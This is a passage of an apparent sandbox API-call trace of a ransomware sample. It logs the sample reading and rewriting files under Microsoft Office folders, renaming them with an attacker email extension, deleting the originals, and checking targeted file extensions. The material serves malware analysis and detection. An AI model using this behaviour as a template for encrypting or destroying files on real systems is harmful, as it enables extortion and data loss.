lpNumberOfBytesRead=0x3cffecc*=0xde70, lpOverlapped=0x0) returned 1 [0278.631] WriteFile (in: hFile=0x544, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xde80, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xde80, lpOverlapped=0x0) returned 1 [0278.638] ReadFile (in: hFile=0x43c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0278.638] WriteFile (in: hFile=0x544, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xf2, lpOverlapped=0x0) returned 1 [0278.638] SetEndOfFile (hFile=0x544) returned 1 [0278.638] CloseHandle (hObject=0x544) returned 1 [0278.639] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0278.639] SetEndOfFile (hFile=0x43c) returned 1 [0278.692] CloseHandle (hObject=0x43c) returned 1 [0278.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0278.999] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx")) returned 1 [0279.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0279.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0279.001] lstrlenW (lpString=".doc") returned 4 [0279.001] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0279.001] lstrlenW (lpString=".docx") returned 5 [0279.001] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0279.001] lstrlenW (lpString=".pdf") returned 4 [0279.001] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0279.001] lstrlenW (lpString=".xls") returned 4 [0279.001] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0279.001] lstrlenW (lpString=".xlsx") returned 5 [0279.001] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0279.001] lstrlenW (lpString=".ppt") returned 4 [0279.001] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0279.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0279.001] lstrlenW (lpString=".zip") returned 4 [0279.001] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0279.002] lstrlenW (lpString=".rar") returned 4 [0279.002] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0279.002] lstrlenW (lpString=".bz2") returned 4 [0279.002] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0279.002] lstrlenW (lpString=".7z") returned 3 [0279.002] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0279.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0279.002] lstrlenW (lpString=".dbf") returned 4 [0279.002] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0279.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0279.002] lstrlenW (lpString=".1cd") returned 4 [0279.002] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0279.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0279.002] lstrlenW (lpString=".jpg") returned 4 [0279.002] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0279.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0279.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0279.002] lstrlenW (lpString=".doc") returned 4 [0279.002] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0279.002] lstrlenW (lpString=".docx") returned 5 [0279.002] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0279.002] lstrlenW (lpString=".pdf") returned 4 [0279.002] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0279.003] lstrlenW (lpString=".xls") returned 4 [0279.003] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0279.003] lstrlenW (lpString=".xlsx") returned 5 [0279.003] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0279.003] lstrlenW (lpString=".ppt") returned 4 [0279.003] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0279.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0279.003] lstrlenW (lpString=".zip") returned 4 [0279.003] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0279.003] lstrlenW (lpString=".rar") returned 4 [0279.003] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0279.003] lstrlenW (lpString=".bz2") returned 4 [0279.003] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0279.003] lstrlenW (lpString=".7z") returned 3 [0279.003] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0279.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0279.003] lstrlenW (lpString=".dbf") returned 4 [0279.003] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0279.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0279.003] lstrlenW (lpString=".1cd") returned 4 [0279.003] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0279.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0279.003] lstrlenW (lpString=".jpg") returned 4 [0279.003] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0279.004] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0279.004] lstrlenW (lpString="api-ms-win-crt-convert-l1-1-0.dll") returned 33 [0279.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0279.005] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=22720) returned 1 [0279.005] CloseHandle (hObject=0x374) returned 1 [0279.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x220 [0279.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0279.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0279.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0279.005] lstrlenW (lpString=".doc") returned 4 [0279.005] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.006] lstrlenW (lpString=".docx") returned 5 [0279.006] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0279.006] lstrlenW (lpString=".pdf") returned 4 [0279.006] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.006] lstrlenW (lpString=".xls") returned 4 [0279.006] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.006] lstrlenW (lpString=".xlsx") returned 5 [0279.006] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0279.006] lstrlenW (lpString=".ppt") returned 4 [0279.006] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0279.006] lstrlenW (lpString=".zip") returned 4 [0279.006] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.006] lstrlenW (lpString=".rar") returned 4 [0279.006] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.006] lstrlenW (lpString=".bz2") returned 4 [0279.006] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.006] lstrlenW (lpString=".7z") returned 3 [0279.006] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0279.006] lstrlenW (lpString=".dbf") returned 4 [0279.006] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0279.007] lstrlenW (lpString=".1cd") returned 4 [0279.007] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0279.007] lstrlenW (lpString=".jpg") returned 4 [0279.007] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0279.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0279.007] lstrlenW (lpString=".doc") returned 4 [0279.007] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.007] lstrlenW (lpString=".docx") returned 5 [0279.007] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0279.007] lstrlenW (lpString=".pdf") returned 4 [0279.007] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.007] lstrlenW (lpString=".xls") returned 4 [0279.007] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.007] lstrlenW (lpString=".xlsx") returned 5 [0279.007] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0279.007] lstrlenW (lpString=".ppt") returned 4 [0279.007] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0279.007] lstrlenW (lpString=".zip") returned 4 [0279.008] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.008] lstrlenW (lpString=".rar") returned 4 [0279.008] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.008] lstrlenW (lpString=".bz2") returned 4 [0279.008] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.008] lstrlenW (lpString=".7z") returned 3 [0279.008] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0279.008] lstrlenW (lpString=".dbf") returned 4 [0279.008] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0279.009] lstrlenW (lpString=".1cd") returned 4 [0279.009] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0279.009] lstrlenW (lpString=".jpg") returned 4 [0279.009] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.013] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0279.013] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37 [0279.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0279.014] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=19136) returned 1 [0279.014] CloseHandle (hObject=0x374) returned 1 [0279.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x220 [0279.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0279.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0279.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0279.015] lstrlenW (lpString=".doc") returned 4 [0279.015] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.015] lstrlenW (lpString=".docx") returned 5 [0279.015] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0279.015] lstrlenW (lpString=".pdf") returned 4 [0279.015] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.015] lstrlenW (lpString=".xls") returned 4 [0279.015] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.015] lstrlenW (lpString=".xlsx") returned 5 [0279.015] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0279.016] lstrlenW (lpString=".ppt") returned 4 [0279.016] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0279.016] lstrlenW (lpString=".zip") returned 4 [0279.016] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.016] lstrlenW (lpString=".rar") returned 4 [0279.016] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.016] lstrlenW (lpString=".bz2") returned 4 [0279.016] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.016] lstrlenW (lpString=".7z") returned 3 [0279.016] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0279.016] lstrlenW (lpString=".dbf") returned 4 [0279.016] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0279.016] lstrlenW (lpString=".1cd") returned 4 [0279.016] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0279.016] lstrlenW (lpString=".jpg") returned 4 [0279.016] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0279.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0279.017] lstrlenW (lpString=".doc") returned 4 [0279.017] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.017] lstrlenW (lpString=".docx") returned 5 [0279.017] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0279.017] lstrlenW (lpString=".pdf") returned 4 [0279.017] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.017] lstrlenW (lpString=".xls") returned 4 [0279.017] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.017] lstrlenW (lpString=".xlsx") returned 5 [0279.017] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0279.017] lstrlenW (lpString=".ppt") returned 4 [0279.017] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0279.017] lstrlenW (lpString=".zip") returned 4 [0279.017] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.017] lstrlenW (lpString=".rar") returned 4 [0279.017] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.017] lstrlenW (lpString=".bz2") returned 4 [0279.017] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.017] lstrlenW (lpString=".7z") returned 3 [0279.017] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0279.017] lstrlenW (lpString=".dbf") returned 4 [0279.017] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0279.018] lstrlenW (lpString=".1cd") returned 4 [0279.018] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0279.018] lstrlenW (lpString=".jpg") returned 4 [0279.018] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.018] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0279.018] lstrlenW (lpString="api-ms-win-crt-filesystem-l1-1-0.dll") returned 36 [0279.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0279.020] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=20672) returned 1 [0279.020] CloseHandle (hObject=0x374) returned 1 [0279.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x220 [0279.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0279.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0279.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0279.023] lstrlenW (lpString=".doc") returned 4 [0279.023] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.023] lstrlenW (lpString=".docx") returned 5 [0279.023] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0279.023] lstrlenW (lpString=".pdf") returned 4 [0279.023] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.023] lstrlenW (lpString=".xls") returned 4 [0279.023] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.023] lstrlenW (lpString=".xlsx") returned 5 [0279.023] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0279.023] lstrlenW (lpString=".ppt") returned 4 [0279.023] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0279.023] lstrlenW (lpString=".zip") returned 4 [0279.023] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.023] lstrlenW (lpString=".rar") returned 4 [0279.023] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.023] lstrlenW (lpString=".bz2") returned 4 [0279.023] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.024] lstrlenW (lpString=".7z") returned 3 [0279.024] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0279.024] lstrlenW (lpString=".dbf") returned 4 [0279.024] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0279.024] lstrlenW (lpString=".1cd") returned 4 [0279.024] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0279.024] lstrlenW (lpString=".jpg") returned 4 [0279.024] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0279.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0279.024] lstrlenW (lpString=".doc") returned 4 [0279.024] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.024] lstrlenW (lpString=".docx") returned 5 [0279.024] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0279.024] lstrlenW (lpString=".pdf") returned 4 [0279.024] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.024] lstrlenW (lpString=".xls") returned 4 [0279.024] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.024] lstrlenW (lpString=".xlsx") returned 5 [0279.024] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0279.025] lstrlenW (lpString=".ppt") returned 4 [0279.025] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0279.025] lstrlenW (lpString=".zip") returned 4 [0279.025] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.025] lstrlenW (lpString=".rar") returned 4 [0279.025] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.025] lstrlenW (lpString=".bz2") returned 4 [0279.025] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.025] lstrlenW (lpString=".7z") returned 3 [0279.025] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0279.025] lstrlenW (lpString=".dbf") returned 4 [0279.025] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0279.025] lstrlenW (lpString=".1cd") returned 4 [0279.025] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0279.026] lstrlenW (lpString=".jpg") returned 4 [0279.026] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.026] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0279.026] lstrlenW (lpString="api-ms-win-crt-heap-l1-1-0.dll") returned 30 [0279.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0279.027] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=19648) returned 1 [0279.027] CloseHandle (hObject=0x374) returned 1 [0279.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x220 [0279.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0279.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.028] lstrlenW (lpString="C:\\Program 